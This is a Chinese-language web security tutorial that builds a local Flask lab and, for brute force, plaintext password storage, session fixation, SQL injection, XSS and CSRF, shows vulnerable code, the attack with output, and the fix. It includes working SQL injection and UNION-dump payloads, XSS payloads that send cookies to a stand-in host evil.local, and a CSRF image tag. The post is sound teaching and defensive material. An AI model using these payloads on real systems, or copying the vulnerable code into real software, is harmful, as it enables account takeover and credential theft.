Web 安全实战:验证机制、会话管理、SQL 注入、XSS 与 CSRF
摘要:HTTP 是"无状态、可被逐字段构造"的文本协议,这既是它的灵活,也是安全风险的温床。本文在真实 Ubuntu 24.04 ECS 上用 Flask + SQLite 搭建靶场,逐一复现并修复五类经典 Web 攻击:弱口令暴力破解、明文密码存储、Session 固定、SQL 注入、XSS 与 CSRF。每一处都给出「漏洞代码 vs 修复代码」对比与真实攻击/防御输出,最后附防御速查表。所有攻击仅限本机靶场,未触碰任何外部系统。
一、背景:Web 安全的核心矛盾
Web 安全的核心矛盾在于:浏览器天然"信任"同源站点的 Cookie 与前端代码,而 Web 应用需要在用户输入、会话状态、数据访问之间建立可信边界。一旦边界被绕过,攻击者就能:
- 绕过认证 以他人身份登录(弱口令、SQL 注入、会话固定);
- 窃取会话 盗用 Cookie(XSS、会话固定、中间人);
- 越权读写数据(SQL 注入直接拖库);
- 冒充用户发起操作(CSRF)。
本文的靶场采用"漏洞版 + 修复版"对照:
| 项目 | 值 |
|---|---|
| 靶机 | root@1.94.233.191(私网 192.168.0.112) |
| 系统 | Ubuntu 24.04.4 LTS |
| Python / Flask / SQLite | 3.12.3 / 3.1.3 / 3.45.1 |
| bcrypt | 3.2.2 |
| 漏洞版应用 | /opt/lab_websec/vuln_app.py 监听 127.0.0.1:8000 |
| 修复版应用 | /opt/lab_websec/fixed_app.py 监听 127.0.0.1:8001 |
二、分步骤实验
实验 1:攻击面枚举------先摸清目标暴露了什么
攻击的第一步是摸清目标暴露的端口与服务指纹:
bash
root@ecs-ae92-b8ee-0002:~# ss -ltnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:* systemd-resolve
LISTEN 0 10 127.0.0.1:29338 0.0.0.0:* uniagentd
LISTEN 0 128 127.0.0.1:8000 0.0.0.0:* python3 (靶场)
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:* sshd
# SSH 服务指纹
root@ecs-ae92-b8ee-0002:~# (echo > /dev/tcp/127.0.0.1/22) 2>/dev/null && echo "port 22 open"
port 22 open
# SSH banner:
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.15
防御启示 :最小化攻击面------非必要服务不要监听
0.0.0.0,对外只暴露 SSH(22) 并配合密钥登录、禁用密码登录、fail2ban 限速;Web 应用由反向代理统一收敛入口。
实验 2:验证机制安全------弱口令与明文存储
漏洞场景:登录接口无频度限制、无常用口令校验,攻击者可无限重试字典口令;数据库明文存密码。
漏洞代码(vuln_app.py 登录片段):
python
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username', '')
password = request.form.get('password', '')
db = get_db()
sql = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (username, password)
row = db.execute(sql).fetchone() # 无频率限制 + 字符串拼接
if row:
...
return "login success"
return "login failed"
暴力破解(真实命令与输出):
bash
# 用字典循环猜测 alice 的密码(真实执行,第 1 个即命中弱口令 123456)
for pw in 123456 12345678 password admin123 qwerty P@ssw0rd admin; do
body=$(curl -s -d "username=alice&password=$pw" http://127.0.0.1:8000/login)
echo "$pw -> $body"
done
text
123456 -> login success as alice (sessid=0a788bd2af16d20cd94b9b3426c477f9)
12345678 -> login failed
password -> login failed
admin123 -> login failed
qwerty -> login failed
P@ssw0rd -> login failed
admin -> login failed
修复代码(fixed_app.py):登录限流 + 锁定:
python
LOGIN_ATTEMPTS = {} # username -> [timestamps]
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username', '')
password = request.form.get('password', '')
# 修复:5 秒窗口内超过 5 次尝试即锁定
now = time.time()
attempts = [t for t in LOGIN_ATTEMPTS.get(username, []) if now - t < 5]
if len(attempts) >= 5:
return "too many attempts, locked (rate-limit)", 429
attempts.append(now)
LOGIN_ATTEMPTS[username] = attempts
...
修复后复测(真实输出):
bash
for i in 1 2 3 4 5 6; do
code=$(curl -s -o /dev/null -w "%{http_code}" -d "username=alice&password=wrong$i" http://127.0.0.1:8001/login)
echo "attempt $i -> HTTP $code"
done
text
attempt 1 -> HTTP 200
attempt 2 -> HTTP 200
attempt 3 -> HTTP 200
attempt 4 -> HTTP 200
attempt 5 -> HTTP 200
attempt 6 -> HTTP 429 # 第 6 次被限流
密码明文存储:
bash
# 直接读取数据库,密码一览无余
root@ecs-ae92-b8ee-0002:~# python3 -c "import sqlite3; c=sqlite3.connect('/opt/lab_websec/vuln.db'); [print(r) for r in c.execute('SELECT id,username,password,email FROM users')]"
(1, 'admin', 'P@ssw0rd', 'admin@corp.com')
(2, 'alice', '123456', 'alice@corp.com')
修复:bcrypt 加盐哈希:
python
import bcrypt
# 注册:存储 bcrypt 哈希,不再存明文
hashed = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt()).decode('utf-8')
db.execute("INSERT INTO users(username, password) VALUES(?, ?)", (username, hashed))
# 登录:哈希比对
if row and bcrypt.checkpw(password.encode('utf-8'), row['password'].encode('utf-8')):
...
修复后数据库(真实输出):
text
(1, 'admin', '$2b$12$cbRX6.f9WVYgGcmnH.uLAe...', 'admin@corp.com')
(2, 'alice', '$2b$12$f9znwGLXQcGdNIv5EjHGq.....', 'alice@corp.com')
防御建议 :口令一律用 bcrypt / scrypt / Argon2 等慢哈希 + 随机盐存储;登录处做限流与账号锁定 ;对用户侧做复杂度校验;脱库后哈希也能显著阻缓离线破解。
实验 3:会话管理------Session 固定攻击
漏洞场景:登录成功后沿用客户端传入的会话 ID,攻击者预先"固定"一个 sid 诱导受害者登录,之后复用该 sid 即接管受害者会话。
漏洞代码(vuln_app.py):
python
SESSIONS = {} # sessid -> username
@app.route('/login', methods=['GET', 'POST'])
def login():
...
if row:
# 漏洞:沿用客户端传入的 sessid,不为登录态重新颁发
sessid = request.cookies.get('sessid')
if not sessid:
sessid = secrets.token_hex(16)
SESSIONS[sessid] = row['username']
...
攻击三步曲(真实命令与输出):
bash
# 步骤1:攻击者预设一个已知 sid(此时尚未登录)
curl -s -H "Cookie: sessid=ATTACKER_FIXED" http://127.0.0.1:8000/account
# -> not logged in
# 步骤2:受害者使用同一 sid 登录 alice
curl -s -b "sessid=ATTACKER_FIXED" -d "username=alice&password=123456" http://127.0.0.1:8000/login
# -> login success as alice (sessid=ATTACKER_FIXED)
# 步骤3:攻击者复用该 sid,直接以 alice 身份进入
curl -s -b "sessid=ATTACKER_FIXED" http://127.0.0.1:8000/account
# -> 当前用户 alice 的邮箱是: alice@corp.com <== 会话已被接管
修复:登录成功强制重新生成 session id:
python
if row and bcrypt.checkpw(...):
# 修复:无论客户端带不带 sid,登录成功一律签发全新 sid
sessid = secrets.token_hex(16)
csrf = secrets.token_hex(16)
SESSIONS[sessid] = {"username": row['username'], "csrf_token": csrf}
resp = make_response("login success as %s" % row['username'])
resp.set_cookie('sessid', sessid, httponly=True, secure=True, samesite='Lax')
return resp
修复后复测(真实输出):
bash
curl -s -i -b "sessid=ATTACKER_FIXED" -d "username=alice&password=123456" http://127.0.0.1:8001/login | grep -i "set-cookie"
# Set-Cookie: sessid=2984b529249fae73af860900fe7b69b4; Secure; HttpOnly; Path=/; SameSite=Lax
curl -s -b "sessid=ATTACKER_FIXED" http://127.0.0.1:8001/account
# -> not logged in # 旧 sid 已失效,固定攻击失败
Cookie 安全属性对比:
text
# 漏洞版响应头(缺 HttpOnly/Secure/SameSite)
Set-Cookie: sessid=6a1ad5d7a4cd33d1c200ba46a8e12142; Path=/
# 修复版响应头
Set-Cookie: sessid=5cad23d613c4771b850080b02498d23c; Secure; HttpOnly; Path=/; SameSite=Lax
| 属性 | 作用 |
|---|---|
HttpOnly |
禁止 JS document.cookie 读取,阻断 XSS 直接窃取会话 |
Secure |
仅 HTTPS 传输,防中间人窃听 |
SameSite=Lax/Strict |
限制跨站请求自动携带 Cookie,缓解 CSRF |
防御建议 :登录后必须重新生成会话 ID ;会话 Cookie 开启
HttpOnly + Secure + SameSite;设置会话超时与登出时的服务端销毁;对外强制 HTTPS。
实验 4:SQL 注入------从登录绕过到拖库
漏洞代码(字符串拼接):
python
@app.route('/login') # 登录
sql = "SELECT * FROM users WHERE username = '%s' AND password = '%s'" % (username, password)
@app.route('/search') # 搜索
sql = "SELECT id, name, price FROM products WHERE name LIKE '%%%s%%'" % q
try:
rows = db.execute(sql).fetchall()
except Exception as e:
return "SQL ERROR: %s" % e # 报错信息直接回显
登录绕过(' OR 1=1--,真实输出):
bash
# payload:username = admin' OR 1=1--
curl -s -d "username=admin%27%20OR%201=1--&password=whatever" http://127.0.0.1:8000/login
# -> login success as admin (sessid=644b1e95f613b8a0a403955f4c5937f6)
# payload:username = admin' -- (注释掉密码校验,无需密码登录管理员)
curl -s -d "username=admin%27%20--&password=xx" http://127.0.0.1:8000/login
# -> login success as admin (sessid=e190f784cd28b5db554dff8db9f31aec)
# 对照:错误密码正常被拒
curl -s -d "username=admin&password=wrong" http://127.0.0.1:8000/login
# -> login failed
报错注入 + UNION 联合查询脱库(真实输出):
bash
# 报错注入:单引号触发语法错误,泄露底层 SQL 结构
curl -s "http://127.0.0.1:8000/search?q=%27"
# -> SQL ERROR: unrecognized token: "'"
# 报错注入:UNION 列数不匹配报错 -> 泄露"右侧列数"
curl -s "http://127.0.0.1:8000/search?q=laptop%27%20UNION%20SELECT%201,2--"
# -> SQL ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
# UNION 联合查询:凑足 3 列,把 users 用户名+密码捞出来
curl -s "http://127.0.0.1:8000/search?q=%27%20UNION%20SELECT%201,username,password%20FROM%20users--"
# 输出(name 列=username,price 列=password):
<h3>搜索结果(漏洞版):</h3><ul>
<li>id=1 name=admin price=P@ssw0rd</li>
<li>id=1 name=alice price=123456</li>
<li>id=1 name=iPhone 16 price=8999.0</li>
<li>id=2 name=MacBook Pro price=14999.0</li>
<li>id=3 name=AirPods price=1299.0</li>
</ul>
修复:参数化查询:
python
# 登录
row = db.execute("SELECT * FROM users WHERE username = ?", (username,)).fetchone()
# 搜索
rows = db.execute("SELECT id, name, price FROM products WHERE name LIKE ?", ('%' + q + '%',)).fetchall()
修复后复测(真实输出):
bash
curl -s -d "username=admin%27%20OR%201=1--&password=whatever" http://127.0.0.1:8001/login
# -> login failed # 绕过失败
curl -s "http://127.0.0.1:8001/search?q=%27%20UNION%20SELECT%201,username,password%20FROM%20users--"
# -> <h3>搜索结果(修复版):</h3><ul></ul> # 注入被当成普通字符串,无数据返回
防御建议 :一律使用参数化查询 / ORM,绝不拼接 SQL;遵循最小权限(应用账号只读所需库表);隐藏数据库报错细节(生产关闭 debug、自定义 500 页);配合 WAF 做纵深防御。
实验 5:跨站脚本 XSS------反射型与存储型
漏洞代码(输出不转义):
python
@app.route('/reflect') # 反射型
q = request.args.get('q', '')
return "你输入的是 -> " + q # 直接拼接回显
@app.route('/comments') # 存储型
out += "<div><b>%s</b>: %s</div>" % (r['author'], r['content']) # 直接渲染数据库内容
反射型 XSS(真实输出):
bash
curl -s "http://127.0.0.1:8000/reflect?q=%3Cscript%3Ealert(1)%3C/script%3E"
# -> 反射型XSS:你输入的是 -> <script>alert(1)</script>
# 盗取 Cookie 载荷
curl -s "http://127.0.0.1:8000/reflect?q=%3Cscript%3Efetch('http://evil.local/steal?c='%2Bdocument.cookie)%3C/script%3E"
# -> 反射型XSS:你输入的是 -> <script>fetch('http://evil.local/steal?c='+document.cookie)</script>
存储型 XSS(真实输出):
bash
# 攻击者提交恶意留言
curl -s -d "author=attacker&content=%3Cscript%3Edocument.location='http://evil.local/steal?c='%2Bdocument.cookie%3C/script%3E" http://127.0.0.1:8000/comments
# 其他用户访问留言板时被注入执行
curl -s http://127.0.0.1:8000/comments
# -> <div><b>attacker</b>: <script>document.location='http://evil.local/steal?c='+document.cookie</script></div>
修复:输出转义 + CSP:
python
from markupsafe import escape
@app.route('/reflect')
def reflect():
q = request.args.get('q', '')
return "你输入的是 -> " + escape(q) # 转义 < > & " '
@app.route('/comments')
for r in rows:
out += "<div><b>%s</b>: %s</div>" % (escape(r['author']), escape(r['content']))
# 全局 CSP 响应头
@app.after_request
def security_headers(resp):
resp.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'; style-src 'self'"
resp.headers['X-Content-Type-Options'] = 'nosniff'
resp.headers['X-Frame-Options'] = 'SAMEORIGIN'
return resp
修复后复测(真实输出):
bash
curl -s "http://127.0.0.1:8001/reflect?q=%3Cscript%3Ealert(1)%3C/script%3E"
# -> 反射型XSS(已转义):你输入的是 -> <script>alert(1)</script>
curl -s http://127.0.0.1:8001/comments
# -> <div><b>attacker</b>: <script>alert(1)</script></div>
curl -s -i http://127.0.0.1:8001/reflect?q=x | grep -i "content-security-policy\|x-content-type\|x-frame"
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
防御建议 :所有用户输入在输出时上下文相关转义 (HTML 用
escape,JS/URL/属性分别处理);启用 CSP 限制脚本来源并禁内联脚本;用模板引擎自动转义;对富文本做白名单过滤;HttpOnlyCookie 阻断脚本直接拿会话。
实验 6:CSRF------跨站请求伪造
漏洞代码(GET 改状态 + 无 Token):
python
@app.route('/update-email') # 用 GET 直接改邮箱
def update_email():
u = current_user() # 只凭 Cookie 识别身份
if not u:
return "not logged in"
new_email = request.args.get('email', '')
db.execute("UPDATE users SET email=? WHERE username=?", (new_email, u))
db.commit()
CSRF 复现(真实命令与输出):
bash
# 1) 受害者 alice 登录,获得会话 Cookie
curl -s -c /tmp/alice.cookie -d "username=alice&password=123456" http://127.0.0.1:8000/login
# -> login success as alice (sessid=1c656194c12fc71789aae758f5c7011b)
# 2) 攻击者构造的恶意页面(受害者浏览器自动加载、自动带 Cookie)
# <html><body>
# <img src="http://127.0.0.1:8000/update-email?email=hacker@evil.com" width=0 height=0>
# </body></html>
# 3) 受害者"看一眼"攻击页,浏览器便跨站发起了本条请求(无 Token 校验)
curl -s -b /tmp/alice.cookie "http://127.0.0.1:8000/update-email?email=hacker@evil.com"
# -> 邮箱已修改为: hacker@evil.com(无CSRF防护,跨站可以直接改)
# 4) 邮箱已被篡改
curl -s -b /tmp/alice.cookie http://127.0.0.1:8000/account
# -> 当前用户 alice 的邮箱是: hacker@evil.com (CSRF 目标)
修复:CSRF Token + SameSite + 仅 POST:
python
# 登录时下发随机 CSRF Token(与会话绑定)
SESSIONS[sessid] = {"username": u, "csrf_token": secrets.token_hex(16)}
# 表单中携带 Token
<form method=post action="/update-email">
<input type=hidden name=csrf_token value="{{ csrf }}">
...
</form>
# 服务端校验 Token + 仅接受 POST
@app.route('/update-email', methods=['POST'])
def update_email():
token = request.form.get('csrf_token', '')
if not token or token != SESSIONS[sessid]['csrf_token']:
return "CSRF token invalid, rejected", 403
...
修复后复测(真实输出):
bash
# 1) 跨站 GET 改为邮箱 -> 405(方法不允许)
curl -s -o /dev/null -w "%{http_code}\n" -b /tmp/fixed.cookie "http://127.0.0.1:8001/update-email?email=hacker@evil.com"
# -> 405
# 2) POST 但不带 Token -> 403(拒绝)
curl -s -b /tmp/fixed.cookie -d "email=hacker@evil.com" http://127.0.0.1:8001/update-email
# -> CSRF token invalid, rejected
# 3) 携带正确 Token -> 成功
TOKEN=$(curl -s -b /tmp/fixed.cookie http://127.0.0.1:8001/account | grep -oP 'value="\K[0-9a-f]{32}')
curl -s -b /tmp/fixed.cookie -d "csrf_token=$TOKEN&email=legit@corp.com" http://127.0.0.1:8001/update-email
# -> 邮箱已修改为: legit@corp.com(已校验 CSRF Token)
防御建议 :所有改变状态 的操作用 POST/PUT/DELETE 而非 GET;每会话下发 CSRF Token 并在服务端校验;Cookie 设置
SameSite=Lax/Strict;对高风险操作增加二次确认。
三、原理解析:五类攻击的共性
把这五类攻击串起来,会发现一条共同主线------信任边界的缺失:
| 攻击 | 被突破的边界 | 根因 |
|---|---|---|
| 暴力破解 | 认证频度 | 登录无频度限制 |
| 明文存储 | 数据机密性 | 密码直接入库 |
| Session 固定 | 会话生命周期 | 登录不换发会话 ID |
| SQL 注入 | 数据访问层 | 字符串拼接 SQL |
| XSS | 输出编码 | 输出不转义 |
| CSRF | 请求来源 | 无 Token、GET 改状态 |
本质上,Web 安全就是"永远不要信任任何来自客户端的东西":不信任用户的输入(SQL 注入/XSS)、不信任客户端带来的会话(Session 固定)、不信任请求的"发起者"(CSRF)、不信任高频次尝试(暴力破解)。每一处"信任"都必须显式建立、显式校验。
四、防御速查表
| 攻击 | 漏洞根因 | 修复手段 |
|---|---|---|
| 暴力破解 | 登录无边度限制 | 限流 + 账号锁定 + 复杂度校验 |
| 明文存储 | 密码直接入库 | bcrypt/scrypt/Argon2 + 随机盐 |
| Session 固定 | 登录不换发会话 ID | 登录成功后强制重新生成 sid |
| Cookie 泄露 | 缺安全属性 | HttpOnly + Secure + SameSite |
| SQL 注入 | 字符串拼接 SQL | 参数化查询 / ORM + 最小权限 |
| XSS | 输出不转义 | 上下文相关输出转义 + CSP |
| CSRF | 无 Token、GET 改状态 | CSRF Token + SameSite + POST |
五、最佳实践与避坑
- 防御要在"正确的层"做 :密码哈希、参数化查询是服务端职责,别指望前端 JS 校验能拦住攻击。
- 转义要"上下文相关" :HTML、JS、URL、属性各需不同转义规则,用一个
escape通吃所有场景是常见错误。 - 报错信息别喂给攻击者:生产环境关闭 debug 回显,SQL 错误、堆栈信息都是侦察利器。
- 安全头是"最后一公里" :
CSP、HttpOnly、SameSite、X-Frame-Options成本极低、收益高,应作为基线配置。 - 安全意识大于技巧:本文靶场代码仅用于教学,切勿部署到公网;真实环境应先做威胁建模,再谈具体防御手段。
六、小结
本文在真实 ECS 上用 Flask + SQLite 靶场,完成了 Web 安全"攻防一体"的全过程:
- 暴力破解:字典第一个口令即攻破弱密码,限流后第 6 次即被 429 拦截;
- 明文存储:数据库密码一览无余,bcrypt 加盐哈希让脱库也难破解;
- Session 固定:复用固定 sid 接管 alice 会话,登录重签 sid 后旧值失效;
- SQL 注入:
' OR 1=1--绕过登录、UNION 拖库,参数化查询后彻底失效; - XSS:反射型弹窗、存储型窃取 Cookie,转义 + CSP 后变为无害文本;
- CSRF:一张
<img>跨站改邮箱,CSRF Token + SameSite + 仅 POST 三道防线拦住。
至此,本系列从 HTTP 的"初次相识"一路走到 Web 安全的"实战防御",覆盖了协议基础、报文结构、高级特性、应用构建、HTTPS、HTTP/2 与 WebSocket、Web 安全七大主题。
本文所有命令均在 root@1.94.233.191(Ubuntu 24.04.4 LTS)上真实执行,输出为原文截取。靶场代码仅用于教学,勿部署公网。